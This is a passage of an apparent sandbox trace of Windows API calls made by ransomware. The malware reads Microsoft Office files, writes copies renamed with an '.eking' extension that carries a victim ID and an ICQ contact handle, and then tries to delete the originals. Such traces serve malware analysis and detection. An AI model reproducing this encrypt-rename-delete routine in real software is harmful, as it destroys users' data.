files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0249.411] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.412] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x340 [0249.422] ReadFile (in: hFile=0x374, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x119, lpOverlapped=0x0) returned 1 [0249.424] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x120, lpOverlapped=0x0) returned 1 [0249.426] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x102, lpOverlapped=0x0) returned 1 [0249.428] CloseHandle (hObject=0x374) returned 1 [0249.429] CloseHandle (hObject=0x340) returned 1 [0249.429] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0 [0249.430] SetEvent (hEvent=0x2b8) returned 1 [0249.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\leechftp.exe" (normalized: "c:\\program files\\microsoft office\\leechftp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.587] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=80384) returned 1 [0249.587] CloseHandle (hObject=0x340) returned 1 [0249.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\leechftp.exe" (normalized: "c:\\program files\\microsoft office\\leechftp.exe")) returned 0x20 [0249.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\leechftp.exe" (normalized: "c:\\program files\\microsoft office\\leechftp.exe")) returned 0x20 [0249.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\leechftp.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\leechftp.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\leechftp.exe" (normalized: "c:\\program files\\microsoft office\\leechftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.588] SetEvent (hEvent=0x2b8) returned 1 [0249.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.591] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=94467) returned 1 [0249.591] CloseHandle (hObject=0x340) returned 1 [0249.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0249.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0249.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.593] SetEvent (hEvent=0x2b8) returned 1 [0249.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.595] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=27200) returned 1 [0249.595] CloseHandle (hObject=0x340) returned 1 [0249.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0249.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0249.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.596] SetEvent (hEvent=0x2b8) returned 1 [0249.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.674] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=36336) returned 1 [0249.674] CloseHandle (hObject=0x340) returned 1 [0249.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0249.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0249.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.675] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.675] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0249.677] ReadFile (in: hFile=0x340, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x8df0, lpOverlapped=0x0) returned 1 [0249.751] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x8e00, lpOverlapped=0x0) returned 1 [0249.753] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0249.753] CloseHandle (hObject=0x340) returned 1 [0249.753] CloseHandle (hObject=0x348) returned 1 [0249.753] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0 [0249.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0249.755] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1261) returned 1 [0249.755] CloseHandle (hObject=0x348) returned 1 [0249.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0249.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0249.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0249.755] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.756] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x340 [0249.756] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4ed, lpOverlapped=0x0) returned 1 [0249.760] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4f0, lpOverlapped=0x0) returned 1 [0249.761] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0249.761] CloseHandle (hObject=0x348) returned 1 [0249.761] CloseHandle (hObject=0x340) returned 1 [0249.762] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0 [0249.762] SetEvent (hEvent=0x2b8) returned 1 [0249.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.763] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=496513) returned 1 [0249.763] CloseHandle (hObject=0x340) returned 1 [0249.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0249.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0249.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.764] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.764] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0249.765] ReadFile (in: hFile=0x340, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x79381, lpOverlapped=0x0) returned 1 [0249.879] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x79390, lpOverlapped=0x0) returned 1 [0249.891] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0249.891] CloseHandle (hObject=0x340) returned 1 [0249.891] CloseHandle (hObject=0x348) returned 1 [0249.892] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0 [0249.892] SetEvent (hEvent=0x2b8) returned 1 [0249.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0249.893] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1261) returned 1 [0249.893] CloseHandle (hObject=0x348) returned 1 [0249.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0249.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0249.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0249.895] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.895] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x340 [0249.896] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4ed, lpOverlapped=0x0) returned 1 [0249.941] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4f0, lpOverlapped=0x0) returned 1 [0249.942] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0249.942] CloseHandle (hObject=0x348) returned 1 [0249.943] CloseHandle (hObject=0x340) returned 1 [0249.943] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0 [0249.943] SetEvent (hEvent=0x2b8) returned 1 [0249.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.946] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=253712) returned 1 [0249.946] CloseHandle (hObject=0x340) returned 1 [0249.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0249.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0249.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0249.946] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.946] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0249.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0249.947] ReadFile (in: hFile=0x340, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x3df10, lpOverlapped=0x0) returned 1 [0249.959] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3df20, lpOverlapped=0x0) returned 1 [0249.965] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0249.965] CloseHandle (hObject=0x340) returned 1 [0250.129] CloseHandle (hObject=0x348) returned 1 [0250.130] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0 [0250.130] SetEvent (hEvent=0x2b8) returned 1 [0250.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0250.133] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1261) returned 1 [0250.133] CloseHandle (hObject=0x348) returned 1 [0250.133] GetFileAttributesW 